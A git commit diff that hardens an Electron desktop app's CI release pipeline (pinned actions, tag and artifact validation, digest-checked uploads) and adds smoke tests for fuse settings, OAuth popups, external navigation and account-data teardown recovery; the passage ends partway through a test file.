fix(desktop): harden browser and runtime hygiene (#7152)

* fix(desktop): harden browser and runtime hygiene

* fix(desktop): close review edge cases

* fix(desktop): make server relaunch transactional

* fix(desktop): close final lifecycle edge cases

* fix(desktop): preserve committed relaunch recovery

* fix(desktop): make committed relaunch non-vetoable
This commit is contained in:
Waleed
2026-08-27 11:23:29 -07:00
committed by GitHub
parent 5c378fb003
commit b478c8a5b1
91 changed files with 6546 additions and 895 deletions
+79 -20
View File
@@ -1,13 +1,27 @@
name: Desktop E2E
# Smoke coverage of the real Electron shell, plus an advisory canary leg
# against electron@latest so Chromium-cadence breakage surfaces before an
# upgrade is attempted (U18/U22).
#
# Manual-only for now: the desktop app is tested locally, so the
# pull_request trigger is disabled until desktop CI is turned back on.
# Smoke coverage of the real Electron shell on desktop changes, plus a weekly
# advisory canary against electron@latest so Chromium-cadence breakage surfaces
# before an upgrade is attempted.
on:
pull_request:
paths:
- '.github/workflows/desktop-e2e.yml'
- '.github/workflows/desktop-release.yml'
- 'apps/desktop/**'
- 'apps/sim/public/brand/fonts/**'
- 'packages/desktop-bridge/**'
- 'packages/browser-protocol/**'
- 'packages/terminal-protocol/**'
- 'packages/logger/**'
- 'packages/security/**'
- 'packages/tsconfig/**'
- 'packages/utils/**'
- 'bun.lock'
- 'package.json'
schedule:
- cron: '23 9 * * 1'
workflow_dispatch:
permissions:
@@ -18,14 +32,10 @@ concurrency:
cancel-in-progress: true
jobs:
e2e:
name: E2E (${{ matrix.electron }})
e2e-pinned:
name: E2E (pinned)
if: github.event_name != 'schedule'
runs-on: macos-26
strategy:
fail-fast: false
matrix:
electron: [pinned, latest]
continue-on-error: ${{ matrix.electron == 'latest' }}
steps:
- name: Checkout code
uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
@@ -38,10 +48,42 @@ jobs:
- name: Install dependencies
run: bun install --frozen-lockfile
- name: Switch to electron@latest (canary)
if: matrix.electron == 'latest'
- name: Bundle main and preload
working-directory: apps/desktop
run: bun add -d electron@latest
run: bun run build
- name: Run Playwright _electron smoke suite
working-directory: apps/desktop
run: bunx playwright test
- name: Upload test results
if: failure()
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: desktop-e2e-results-pinned
path: apps/desktop/test-results
retention-days: 7
e2e-latest-canary:
name: E2E (electron@latest canary)
if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
runs-on: macos-26
continue-on-error: true
steps:
- name: Checkout code
uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
- name: Setup Bun
uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2
with:
bun-version: 1.3.14
- name: Install dependencies
run: bun install --frozen-lockfile
- name: Switch to electron@latest
working-directory: apps/desktop
run: bun add --no-save -d electron@latest
- name: Bundle main and preload
working-directory: apps/desktop
@@ -53,14 +95,15 @@ jobs:
- name: Upload test results
if: failure()
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: desktop-e2e-results-${{ matrix.electron }}
name: desktop-e2e-results-latest
path: apps/desktop/test-results
retention-days: 7
package-smoke:
name: Unsigned package smoke
if: github.event_name != 'schedule'
runs-on: macos-26
steps:
- name: Checkout code
@@ -72,7 +115,7 @@ jobs:
bun-version: 1.3.14
- name: Setup Node
uses: actions/setup-node@v4
uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: 22
@@ -85,4 +128,20 @@ jobs:
CSC_IDENTITY_AUTO_DISCOVERY: 'false'
run: |
bun run build
bunx electron-builder --mac dir --publish never
bunx electron-builder --mac dir --universal --publish never \
-c.mac.identity=- -c.mac.hardenedRuntime=false
- name: Run packaged Electron smoke suite
working-directory: apps/desktop
run: |
APP_BUNDLE="$(find release -maxdepth 2 -name '*.app' -print -quit)"
if [ -z "$APP_BUNDLE" ]; then
echo "::error::Packaged app bundle was not found."
exit 1
fi
EXECUTABLE="$(find "$APP_BUNDLE/Contents/MacOS" -maxdepth 1 -type f -perm -111 -print -quit)"
if [ -z "$EXECUTABLE" ]; then
echo "::error::Packaged app executable was not found."
exit 1
fi
SIM_DESKTOP_EXECUTABLE="$EXECUTABLE" bunx playwright test e2e/packaged-smoke.spec.ts
+182 -35
View File
@@ -53,6 +53,9 @@ jobs:
steps:
- name: Checkout code
uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6
with:
fetch-depth: 0
ref: ${{ github.event_name == 'workflow_dispatch' && inputs.version || github.sha }}
# Prerelease versions carry their environment in the tag: -dev.N is a
# dev build, -staging.N a staging build. Legacy -alpha/-beta tags remain
@@ -82,6 +85,34 @@ jobs:
} >> "$GITHUB_OUTPUT"
echo "Building $NAME ($APP_ID) for $RELEASE_REPOSITORY; default origin: ${ORIGIN:-production}"
- name: Validate release source
env:
PUBLISH: ${{ inputs.publish }}
SIGN: ${{ inputs.sign }}
TOKEN_KIND: ${{ steps.channel.outputs.token_kind }}
VERSION: ${{ inputs.version }}
run: |
if ! [[ "$VERSION" =~ ^v[0-9]+\.[0-9]+\.[0-9]+(-[0-9A-Za-z.-]+)?$ ]]; then
echo "::error::Refusing to build: '$VERSION' is not a vX.Y.Z release tag."
exit 1
fi
if [ "$GITHUB_EVENT_NAME" = workflow_dispatch ] && [ "$TOKEN_KIND" != stable ]; then
echo "::error::Manual desktop releases must use a stable source-repository tag."
exit 1
fi
if [ "$TOKEN_KIND" = stable ] && [ "$PUBLISH" = true ] && [ "$SIGN" != true ]; then
echo "::error::Stable desktop releases must be signed before publication."
exit 1
fi
if [ "$TOKEN_KIND" = stable ]; then
TAG_COMMIT="$(git rev-parse "refs/tags/${VERSION}^{commit}")"
HEAD_COMMIT="$(git rev-parse HEAD)"
if [ "$TAG_COMMIT" != "$HEAD_COMMIT" ]; then
echo "::error::Requested tag $VERSION points to $TAG_COMMIT, but the checkout is $HEAD_COMMIT."
exit 1
fi
fi
- name: Validate release authentication
if: ${{ inputs.publish }}
env:
@@ -100,12 +131,12 @@ jobs:
bun-version: 1.3.14
- name: Setup Node
uses: actions/setup-node@v4
uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
with:
node-version: 22
- name: Cache Electron binaries
uses: actions/cache@v4
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4
with:
path: |
~/Library/Caches/electron
@@ -120,23 +151,33 @@ jobs:
VERSION: ${{ inputs.version }}
run: |
SEMVER="${VERSION#v}"
if ! [[ "$SEMVER" =~ ^[0-9]+\.[0-9]+\.[0-9]+([-.].+)?$ ]]; then
echo "Refusing to build: '$VERSION' is not a vX.Y.Z release tag" >&2
exit 1
fi
npm pkg set version="$SEMVER" --prefix apps/desktop
cd apps/desktop
bun pm pkg set version="$SEMVER"
cd ../..
INJECTED="$(node -p "require('./apps/desktop/package.json').version")"
if [ "$INJECTED" != "$SEMVER" ]; then
echo "Version injection mismatch: wanted $SEMVER got $INJECTED" >&2
exit 1
fi
- name: Verify desktop source
run: |
bun run --cwd apps/desktop lint:check
bun run --cwd apps/desktop type-check
bun run --cwd apps/desktop test
- name: Bundle main and preload
working-directory: apps/desktop
env:
SIM_DESKTOP_DEFAULT_ORIGIN: ${{ steps.channel.outputs.origin }}
run: bun run build
- name: Run Electron smoke tests
working-directory: apps/desktop
env:
SIM_DESKTOP_DEFAULT_ORIGIN: ${{ steps.channel.outputs.origin }}
run: bun run test:e2e
- name: Write App Store Connect API key
if: ${{ inputs.sign }}
env:
@@ -165,8 +206,9 @@ jobs:
-c.productName="$PRODUCT_NAME" -c.appId="$APP_ID"
# Unsigned prerelease path: no Developer ID, no notarization. The
# binaries end up ad-hoc/linker-signed, which runs locally but gets
# quarantined when downloaded — fine for testing the update pipeline.
# binaries are explicitly ad-hoc signed with Hardened Runtime off, which
# runs locally but gets quarantined when downloaded — fine for testing
# the update pipeline without Developer ID credentials.
- name: Package unsigned
if: ${{ !inputs.sign }}
working-directory: apps/desktop
@@ -176,17 +218,106 @@ jobs:
APP_ID: ${{ steps.channel.outputs.app_id }}
run: >
bunx electron-builder --mac --publish never -c.mac.notarize=false
-c.mac.identity=- -c.mac.hardenedRuntime=false
-c.productName="$PRODUCT_NAME" -c.appId="$APP_ID"
- name: Validate packaged artifacts
env:
VERSION: ${{ inputs.version }}
run: |
SEMVER="${VERSION#v}"
RELEASE_DIR=apps/desktop/release
YML="$(find "$RELEASE_DIR" -maxdepth 1 -name '*-mac.yml' -print)"
if [ "$(printf '%s\n' "$YML" | sed '/^$/d' | wc -l | tr -d ' ')" != 1 ]; then
echo "::error::Expected exactly one updater manifest in $RELEASE_DIR."
exit 1
fi
if [ "$(basename "$YML")" != latest-mac.yml ]; then
mv "$YML" "$RELEASE_DIR/latest-mac.yml"
fi
ARTIFACTS=(
"$RELEASE_DIR/Sim-${SEMVER}-universal.dmg"
"$RELEASE_DIR/Sim-${SEMVER}-universal.dmg.blockmap"
"$RELEASE_DIR/Sim-${SEMVER}-universal.zip"
"$RELEASE_DIR/Sim-${SEMVER}-universal.zip.blockmap"
"$RELEASE_DIR/latest-mac.yml"
)
for ARTIFACT in "${ARTIFACTS[@]}"; do
if [ ! -f "$ARTIFACT" ]; then
echo "::error::Expected desktop artifact is missing: $ARTIFACT"
exit 1
fi
done
if [ "$(find "$RELEASE_DIR" -maxdepth 1 \( -name '*.dmg' -o -name '*.zip' -o -name '*.blockmap' \) | wc -l | tr -d ' ')" != 4 ]; then
echo "::error::Unexpected package artifacts were produced; refusing a wildcard upload."
find "$RELEASE_DIR" -maxdepth 1 -type f -print
exit 1
fi
if ! grep -Fxq "version: $SEMVER" "$RELEASE_DIR/latest-mac.yml"; then
echo "::error::Updater manifest version does not match $VERSION."
exit 1
fi
URLS="$(sed -nE 's/^[[:space:]]*(-[[:space:]]*)?url:[[:space:]]*([^[:space:]]+)[[:space:]]*$/\2/p' "$RELEASE_DIR/latest-mac.yml" | sort)"
EXPECTED_URLS="$(printf '%s\n' "Sim-${SEMVER}-universal.zip" "Sim-${SEMVER}-universal.dmg" | sort)"
if [ "$URLS" != "$EXPECTED_URLS" ]; then
echo "::error::Updater manifest contains unexpected artifact URLs."
exit 1
fi
if ! grep -Fxq "path: Sim-${SEMVER}-universal.zip" "$RELEASE_DIR/latest-mac.yml"; then
echo "::error::Updater manifest path does not reference the verified zip artifact."
exit 1
fi
hdiutil verify "$RELEASE_DIR/Sim-${SEMVER}-universal.dmg"
unzip -tq "$RELEASE_DIR/Sim-${SEMVER}-universal.zip"
- name: Validate signature and notarization
if: ${{ inputs.sign }}
env:
VERSION: ${{ inputs.version }}
run: |
DMG="$(ls apps/desktop/release/*.dmg | head -1)"
hdiutil attach "$DMG" -mountpoint /tmp/sim-dmg -nobrowse -quiet
xcrun stapler validate /tmp/sim-dmg/*.app
spctl --assess --type execute --verbose /tmp/sim-dmg/*.app
codesign --verify --deep --strict /tmp/sim-dmg/*.app
hdiutil detach /tmp/sim-dmg -quiet
SEMVER="${VERSION#v}"
DMG="apps/desktop/release/Sim-${SEMVER}-universal.dmg"
ZIP="apps/desktop/release/Sim-${SEMVER}-universal.zip"
MOUNT_POINT="$RUNNER_TEMP/sim-dmg"
ZIP_DIR="$(mktemp -d "$RUNNER_TEMP/sim-zip.XXXXXX")"
mkdir -p "$MOUNT_POINT"
hdiutil attach "$DMG" -mountpoint "$MOUNT_POINT" -nobrowse -quiet
trap 'hdiutil detach "$MOUNT_POINT" -quiet || true; rm -rf "$ZIP_DIR"' EXIT
APP_BUNDLE="$(find "$MOUNT_POINT" -maxdepth 1 -name '*.app' -print -quit)"
if [ -z "$APP_BUNDLE" ]; then
echo "::error::The signed DMG does not contain an app bundle."
exit 1
fi
xcrun stapler validate "$APP_BUNDLE"
spctl --assess --type execute --verbose "$APP_BUNDLE"
codesign --verify --deep --strict "$APP_BUNDLE"
unzip -q "$ZIP" -d "$ZIP_DIR"
ZIP_APP="$(find "$ZIP_DIR" -maxdepth 2 -name '*.app' -print -quit)"
if [ -z "$ZIP_APP" ]; then
echo "::error::The updater ZIP does not contain an app bundle."
exit 1
fi
xcrun stapler validate "$ZIP_APP"
spctl --assess --type execute --verbose "$ZIP_APP"
codesign --verify --deep --strict "$ZIP_APP"
hdiutil detach "$MOUNT_POINT" -quiet
rm -rf "$ZIP_DIR"
trap - EXIT
- name: Run packaged Electron smoke suite
working-directory: apps/desktop
run: |
APP_BUNDLE="$(find release -maxdepth 2 -name '*.app' -print -quit)"
if [ -z "$APP_BUNDLE" ]; then
echo "::error::Packaged app bundle was not found."
exit 1
fi
EXECUTABLE="$(find "$APP_BUNDLE/Contents/MacOS" -maxdepth 1 -type f -perm -111 -print -quit)"
if [ -z "$EXECUTABLE" ]; then
echo "::error::Packaged app executable was not found."
exit 1
fi
SIM_DESKTOP_EXECUTABLE="$EXECUTABLE" bunx playwright test e2e/packaged-smoke.spec.ts
- name: Upload artifacts to the release
if: ${{ inputs.publish }}
@@ -209,35 +340,51 @@ jobs:
exit 1
fi
export GH_TOKEN
# electron-builder's GitHub provider always names the manifest
# latest-mac.yml (channels are a generic-provider concept), and the
# update feed expects exactly that asset name on every release —
# normalize defensively in case a config change ever produces a
# channel-named manifest.
YML="$(find apps/desktop/release -maxdepth 1 -name '*-mac.yml' | head -1)"
if [ -z "$YML" ]; then
echo "::error::No *-mac.yml updater manifest found in apps/desktop/release"
if ! gh release view "$VERSION" --repo "$RELEASE_REPOSITORY" >/dev/null; then
echo "::error::Release $VERSION does not exist in $RELEASE_REPOSITORY."
exit 1
fi
if [ "$(basename "$YML")" != "latest-mac.yml" ]; then
mv "$YML" apps/desktop/release/latest-mac.yml
fi
gh release upload "$VERSION" \
apps/desktop/release/*.dmg \
apps/desktop/release/*.zip \
apps/desktop/release/*.blockmap \
apps/desktop/release/latest-mac.yml \
--repo "$RELEASE_REPOSITORY" \
--clobber
SEMVER="${VERSION#v}"
ARTIFACTS=(
"apps/desktop/release/Sim-${SEMVER}-universal.dmg"
"apps/desktop/release/Sim-${SEMVER}-universal.dmg.blockmap"
"apps/desktop/release/Sim-${SEMVER}-universal.zip"
"apps/desktop/release/Sim-${SEMVER}-universal.zip.blockmap"
"apps/desktop/release/latest-mac.yml"
)
upload_or_verify() {
local ARTIFACT="$1"
local NAME SIZE DIGEST RELEASE_JSON REMOTE REMOTE_SIZE REMOTE_DIGEST
NAME="$(basename "$ARTIFACT")"
SIZE="$(stat -f%z "$ARTIFACT")"
DIGEST="sha256:$(shasum -a 256 "$ARTIFACT" | awk '{print $1}')"
RELEASE_JSON="$(gh api "repos/${RELEASE_REPOSITORY}/releases/tags/${VERSION}")"
REMOTE="$(jq -c --arg name "$NAME" '.assets[] | select(.name == $name)' <<< "$RELEASE_JSON")"
if [ -n "$REMOTE" ]; then
REMOTE_SIZE="$(jq -r '.size' <<< "$REMOTE")"
REMOTE_DIGEST="$(jq -r '.digest // empty' <<< "$REMOTE")"
if [ "$REMOTE_SIZE" != "$SIZE" ] || [ "$REMOTE_DIGEST" != "$DIGEST" ]; then
echo "::error::Existing release asset $NAME does not match this build."
exit 1
fi
echo "Verified existing release asset $NAME; skipping upload."
return
fi
gh release upload "$VERSION" "$ARTIFACT" --repo "$RELEASE_REPOSITORY"
}
for ARTIFACT in "${ARTIFACTS[@]:0:4}"; do
upload_or_verify "$ARTIFACT"
done
upload_or_verify "${ARTIFACTS[4]}"
- name: Upload artifacts to the workflow run
if: ${{ !inputs.publish }}
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
with:
name: sim-desktop-${{ inputs.version }}
path: |
apps/desktop/release/*.dmg
apps/desktop/release/*.zip
apps/desktop/release/*.blockmap
apps/desktop/release/*-mac.yml
apps/desktop/release/latest-mac.yml
retention-days: 7
+2 -2
View File
@@ -104,10 +104,10 @@ Pre-release share (no Developer ID yet): `SIM_DESKTOP_DEFAULT_ORIGIN=https://www
The build also derives the app icon from `SIM_DESKTOP_DEFAULT_ORIGIN`. Every channel uses the exact production icon with its white background and black `sim` mark. Non-production channels add a thin outline using existing platform colors: dev uses orange, staging uses Loop blue, and localhost uses Workflow violet. The macOS menu-bar icon also carries a compact `D`, `S`, or `L` subscript for those environments; production remains unmarked. Native Icon Composer assets live in `build/`; `scripts/build.ts` copies the selected variant to the ignored `build/generated-icon.icon` path consumed by electron-builder. Electron-builder compiles it to `Assets.car` and derives the legacy `.icns` fallback from the same source. Matching 512px PNGs in `static/` provide the Dock icon for unpackaged runs.
CI (`.github/workflows/desktop-release.yml`, wired into `ci.yml`):
- Stable builds run only after `create-release` on a `vX.Y.Z:` commit to main — **never before**: `scripts/create-single-release.ts` skips creation if the tag exists, so a desktop job publishing first would eat the changelog. Stable assets remain on `simstudioai/sim`; dev/staging assets publish to the public `simstudioai/sim-desktop-releases` repository so source-repository followers are not notified for internal shell builds. The job builds `--publish never` and uploads assets with `gh release upload --clobber` (idempotent re-runs).
- Stable builds run only after `create-release` on a `vX.Y.Z:` commit to main — **never before**: `scripts/create-single-release.ts` skips creation if the tag exists, so a desktop job publishing first would eat the changelog. Stable assets remain on `simstudioai/sim`; dev/staging assets publish to the public `simstudioai/sim-desktop-releases` repository so source-repository followers are not notified for internal shell builds. The job builds `--publish never`; reruns verify the size and SHA-256 digest of existing release assets instead of overwriting them.
- **Secrets gate**: `check-desktop-signing` in `ci.yml` probes the six Apple secrets and skips the desktop job with a warning until they exist — releases never fail on a missing Apple account, and the first release after the secrets land ships desktop artifacts automatically. Manual/one-off builds: Actions → "Desktop Release (macOS)" → Run workflow with a `vX.Y.Z` version (`publish: false` uploads artifacts to the run instead of the release).
- The product semver is **injected** from the release tag into `apps/desktop/package.json` at build time (repo package versions are placeholders). A mismatch guard fails the build.
- Fuses are flipped at package time (`electronFuses` in `electron-builder.yml`): runAsNode off, NODE_OPTIONS off, inspect args off, ASAR-only + integrity validation, cookie encryption on, `strictlyRequireAllFuses` so new fuses fail loudly on Electron bumps.
- Fuses are flipped at package time (`electronFuses` in `electron-builder.yml`): runAsNode off, NODE_OPTIONS off, inspect args off, ASAR-only + integrity validation, and cookie encryption on. The packaged smoke test asserts every fuse byte so Electron upgrades fail until new fuses receive an explicit policy.
- **Cookie-encryption go/no-go**: on every Electron bump, verify a packaged build keeps its session across relaunch (there are historical cookie-persistence bugs with the `EnableCookieEncryption` fuse). If it reproduces, set `enableCookieEncryption: false` and record it here.
Required repo secrets (owner: whoever holds the Apple Developer account; calendar the expiries — an expired cert/API key breaks every release):
@@ -4,7 +4,7 @@ The rendering-parity guarantee (identical to Chrome of the pinned version) is on
1. **Read the release notes.** Electron breaking-changes page for the target major, plus its Chromium/Node versions. Note anything touching: session/cookies, permissions, `setWindowOpenHandler`, `will-navigate`/`will-redirect`, preload/sandbox, `net`/loopback, fuses.
2. **Bump the pin** in `apps/desktop/package.json` (exact version), `bun install`, `bun run type-check && bun run test`.
3. **Fuses:** the build sets `strictlyRequireAllFuses` — if `electron-builder` fails on a new fuse, decide its state explicitly in `electron-builder.yml` rather than loosening the strict flag.
3. **Fuses:** the packaged smoke test asserts the complete fuse wire. Decide the policy for every new fuse, configure it in `electron-builder.yml` when supported, and update the expected wire only after verifying the packaged binary.
4. **Cookie-encryption go/no-go:** packaged build → sign in → quit → relaunch → still signed in. If the session is lost, flip `enableCookieEncryption: false`, file it in the README, and retest.
5. **Manual spot-checks (packaged build):**
- Google sign-in via the system-browser handoff (127.0.0.1 loopback callback → token redeem).
+84
View File
@@ -0,0 +1,84 @@
import { spawn } from 'node:child_process'
import { once } from 'node:events'
import { existsSync, mkdtempSync, readFileSync, rmSync } from 'node:fs'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { FuseV1Options, FuseVersion, getCurrentFuseWire } from '@electron/fuses'
import { expect, test } from '@playwright/test'
const FUSE_DISABLED = '0'.charCodeAt(0)
const FUSE_ENABLED = '1'.charCodeAt(0)
const ELECTRON_43_WASM_TRAP_HANDLERS_FUSE = 8
const EXPECTED_FUSE_POLICY = [
[FuseV1Options.RunAsNode, FUSE_DISABLED],
[FuseV1Options.EnableCookieEncryption, FUSE_ENABLED],
[FuseV1Options.EnableNodeOptionsEnvironmentVariable, FUSE_DISABLED],
[FuseV1Options.EnableNodeCliInspectArguments, FUSE_DISABLED],
[FuseV1Options.EnableEmbeddedAsarIntegrityValidation, FUSE_ENABLED],
[FuseV1Options.OnlyLoadAppFromAsar, FUSE_ENABLED],
[FuseV1Options.LoadBrowserProcessSpecificV8Snapshot, FUSE_DISABLED],
[FuseV1Options.GrantFileProtocolExtraPrivileges, FUSE_DISABLED],
[ELECTRON_43_WASM_TRAP_HANDLERS_FUSE, FUSE_ENABLED],
] as const
test.skip(
!process.env.SIM_DESKTOP_EXECUTABLE,
'Packaged smoke runs only after the desktop executable has been built'
)
test('packaged Electron binary has the production fuse policy', async () => {
const executablePath = process.env.SIM_DESKTOP_EXECUTABLE
if (!executablePath) throw new Error('SIM_DESKTOP_EXECUTABLE is required')
const fuses = await getCurrentFuseWire(executablePath)
expect(fuses.version).toBe(FuseVersion.V1)
const fuseIndexes = Object.keys(fuses)
.filter((key) => /^\d+$/.test(key))
.map(Number)
expect(fuseIndexes).toEqual(EXPECTED_FUSE_POLICY.map(([index]) => index))
for (const [index, state] of EXPECTED_FUSE_POLICY) {
expect(Reflect.get(fuses, index)).toBe(state)
}
})
test('packaged main process starts and records launch telemetry', async () => {
const executablePath = process.env.SIM_DESKTOP_EXECUTABLE
if (!executablePath) throw new Error('SIM_DESKTOP_EXECUTABLE is required')
const userDataPath = mkdtempSync(join(tmpdir(), 'sim-desktop-packaged-e2e-'))
const child = spawn(executablePath, [], {
env: {
...process.env,
SIM_DESKTOP_ORIGIN: 'http://127.0.0.1:1',
SIM_DESKTOP_USER_DATA: userDataPath,
},
stdio: 'ignore',
})
const eventLogPath = join(userDataPath, 'logs', 'desktop-events.log')
try {
await expect
.poll(
() => {
if (child.exitCode !== null || child.signalCode !== null) {
throw new Error(
`Packaged app exited with ${child.exitCode ?? child.signalCode ?? 'unknown status'}`
)
}
return (
existsSync(eventLogPath) && readFileSync(eventLogPath, 'utf8').includes('app_launch')
)
},
{ timeout: 10_000 }
)
.toBe(true)
} finally {
if (child.exitCode === null && child.signalCode === null) {
const exited = once(child, 'exit')
child.kill('SIGKILL')
await exited
}
rmSync(userDataPath, { recursive: true, force: true })
}
})
+52 -1
View File
@@ -14,6 +14,8 @@ const PAGES: Record<string, string> = {
<h1 id="app">fixture-app</h1>
<button id="internal-blank" onclick="window.open('/workspace/two', '_blank')">internal</button>
<button id="external-blank" onclick="window.open('https://docs.sim.ai/x', '_blank')">external</button>
<button id="mcp-popup" onclick="window.open('/mcp', 'mcp-oauth-fixture')">mcp</button>
<button id="external-navigate" onclick="location.href='https://docs.sim.ai/navigation'">navigate</button>
</body></html>`,
'/workspace/two': '<!doctype html><html><body><h1 id="two">second-route</h1></body></html>',
'/login': '<!doctype html><html><body><h1 id="login">fixture-login</h1></body></html>',
@@ -23,7 +25,16 @@ function startFixtureServer(): Promise<{ server: Server; origin: string }> {
return new Promise((resolvePromise) => {
const server = createServer((request, response) => {
const path = new URL(request.url ?? '/', 'http://127.0.0.1').pathname
const body = PAGES[path]
const sessionCookie = request.headers.cookie
?.split(';')
.map((cookie) => cookie.trim())
.includes('sim-e2e-session=shared')
const body =
path === '/mcp'
? sessionCookie
? '<!doctype html><html><body><h1 id="mcp">oauth-popup</h1></body></html>'
: '<!doctype html><html><body><h1 id="unauthorized">sign-in-required</h1></body></html>'
: PAGES[path]
if (!body) {
response.writeHead(404, { 'Content-Type': 'text/html' }).end('<h1>not found</h1>')
return
@@ -105,6 +116,43 @@ test.describe('desktop shell smoke', () => {
await expect(window.locator('#app')).toHaveText('fixture-app')
})
test('OAuth popups share the session without inheriting the privileged preload', async () => {
app = await launchApp(origin)
const window = await app.firstWindow()
await window.evaluate(() => {
document.cookie = 'sim-e2e-session=shared; Path=/; SameSite=Lax'
})
const popupPromise = app.waitForEvent('window')
await window.locator('#mcp-popup').click()
const popup = await popupPromise
await expect(popup.locator('#mcp')).toHaveText('oauth-popup')
await expect
.poll(() => popup.evaluate(() => typeof (globalThis as { simDesktop?: unknown }).simDesktop))
.toBe('undefined')
})
test('cross-origin same-window navigation opens externally and preserves the app document', async () => {
app = await launchApp(origin)
const window = await app.firstWindow()
await app.evaluate(({ shell }) => {
const opened: string[] = []
;(globalThis as { __openedExternal?: string[] }).__openedExternal = opened
shell.openExternal = async (url: string) => {
opened.push(url)
}
})
await window.locator('#external-navigate').click({ noWaitAfter: true })
await expect
.poll(() =>
app.evaluate(() => (globalThis as { __openedExternal?: string[] }).__openedExternal)
)
.toEqual(['https://docs.sim.ai/navigation'])
expect(window.url()).toBe(`${origin}/workspace`)
})
test('unreachable origin shows the bundled offline page', async () => {
app = await launchApp('http://127.0.0.1:1')
const window = await app.firstWindow()
@@ -131,5 +179,8 @@ test.describe('desktop shell smoke', () => {
await expect(window.locator('#retry')).toHaveCSS('font-size', '14px')
await expect(window.locator('#retry')).toHaveCSS('line-height', '20px')
await expect(window.locator('#retry')).toHaveCSS('text-align', 'left')
await window.locator('#retry').focus()
await expect(window.locator('#retry')).toHaveCSS('outline-style', 'solid')
await expect(window.locator('#detail')).toHaveAttribute('role', 'status')
})
})
+2
View File
@@ -36,6 +36,8 @@ electronFuses:
enableNodeCliInspectArguments: false
enableEmbeddedAsarIntegrityValidation: true
onlyLoadAppFromAsar: true
loadBrowserProcessSpecificV8Snapshot: false
grantFileProtocolExtraPrivileges: false
mac:
category: public.app-category.developer-tools
+1
View File
@@ -45,6 +45,7 @@
"safe-regex2": "5.1.0"
},
"devDependencies": {
"@electron/fuses": "1.8.0",
"@playwright/test": "1.61.1",
"@sim/tsconfig": "workspace:*",
"@types/micromatch": "4.0.10",
@@ -0,0 +1,230 @@
import {
existsSync,
mkdirSync,
mkdtempSync,
readFileSync,
unlinkSync,
writeFileSync,
} from 'node:fs'
import { rm } from 'node:fs/promises'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import {
beginAccountDataTeardown,
captureAccountDataGeneration,
completeAccountDataTeardown,
completeDeploymentScopedTeardown,
getAccountDataTeardownKind,
getAccountDataTeardownOrigin,
initializeAccountDataRecovery,
invalidateAccountDataOperations,
isAccountDataTeardownRequired,
prepareAccountDataTeardownForQuit,
retryAccountDataTeardown,
runAccountDataMutation,
waitForAccountDataMutations,
} from '@/main/account-data-generation'
const ORIGIN = 'https://sim.example.com'
describe('account data generation', () => {
let directory: string
let markerPath: string
beforeEach(() => {
directory = mkdtempSync(join(tmpdir(), 'sim-account-recovery-'))
markerPath = join(directory, 'teardown-required.json')
initializeAccountDataRecovery(markerPath)
})
afterEach(async () => {
completeAccountDataTeardown()
initializeAccountDataRecovery(null)
await rm(directory, { recursive: true, force: true })
})
it('blocks account-data mutations and persists teardown intent', () => {
expect(beginAccountDataTeardown('account', ORIGIN)).toBe(true)
expect(existsSync(markerPath)).toBe(true)
expect(JSON.parse(readFileSync(markerPath, 'utf8'))).toEqual({
version: 2,
kind: 'account',
origin: ORIGIN,
})
expect(isAccountDataTeardownRequired()).toBe(true)
})
it('fails closed and retries marker persistence before quit', () => {
const blockedParent = join(directory, 'blocked')
markerPath = join(blockedParent, 'teardown-required.json')
initializeAccountDataRecovery(markerPath)
writeFileSync(blockedParent, 'not a directory')
expect(beginAccountDataTeardown('account', ORIGIN)).toBe(false)
expect(isAccountDataTeardownRequired()).toBe(false)
expect(prepareAccountDataTeardownForQuit()).toBe(true)
unlinkSync(blockedParent)
mkdirSync(blockedParent)
expect(beginAccountDataTeardown('account', ORIGIN)).toBe(true)
expect(existsSync(markerPath)).toBe(true)
})
it('does not erase data when the recovery marker cannot be written', async () => {
const blockedParent = join(directory, 'blocked')
markerPath = join(blockedParent, 'teardown-required.json')
initializeAccountDataRecovery(markerPath)
writeFileSync(blockedParent, 'not a directory')
const generation = captureAccountDataGeneration()
expect(beginAccountDataTeardown('account', ORIGIN)).toBe(false)
const firstClear = vi.fn(async () => {})
const secondClear = vi.fn(async () => {})
await expect(
retryAccountDataTeardown([
{ label: 'browser profile', clear: firstClear },
{ label: 'local filesystem grants', clear: secondClear },
])
).resolves.toEqual([])
expect(firstClear).not.toHaveBeenCalled()
expect(secondClear).not.toHaveBeenCalled()
expect(isAccountDataTeardownRequired()).toBe(false)
await expect(runAccountDataMutation(generation, async () => 'ok')).resolves.toBe('ok')
})
it('restores the fail-closed state from a marker and clears it only on completion', () => {
writeFileSync(markerPath, JSON.stringify({ version: 2, kind: 'deployment', origin: ORIGIN }))
expect(initializeAccountDataRecovery(markerPath)).toBe(true)
expect(isAccountDataTeardownRequired()).toBe(true)
expect(getAccountDataTeardownKind()).toBe('deployment')
expect(getAccountDataTeardownOrigin()).toBe(ORIGIN)
completeAccountDataTeardown()
expect(existsSync(markerPath)).toBe(false)
expect(isAccountDataTeardownRequired()).toBe(false)
expect(getAccountDataTeardownKind()).toBeNull()
})
it('keeps recovery gated until a retry clears every account store', async () => {
beginAccountDataTeardown('account', ORIGIN)
const failedClear = vi.fn(async () => {
throw new Error('keychain unavailable')
})
const successfulClear = vi.fn(async () => {})
await expect(
retryAccountDataTeardown([
{ label: 'browser profile', clear: failedClear },
{ label: 'local filesystem grants', clear: successfulClear },
])
).resolves.toEqual(['browser profile'])
expect(existsSync(markerPath)).toBe(true)
expect(isAccountDataTeardownRequired()).toBe(true)
await expect(
retryAccountDataTeardown([
{ label: 'browser profile', clear: successfulClear },
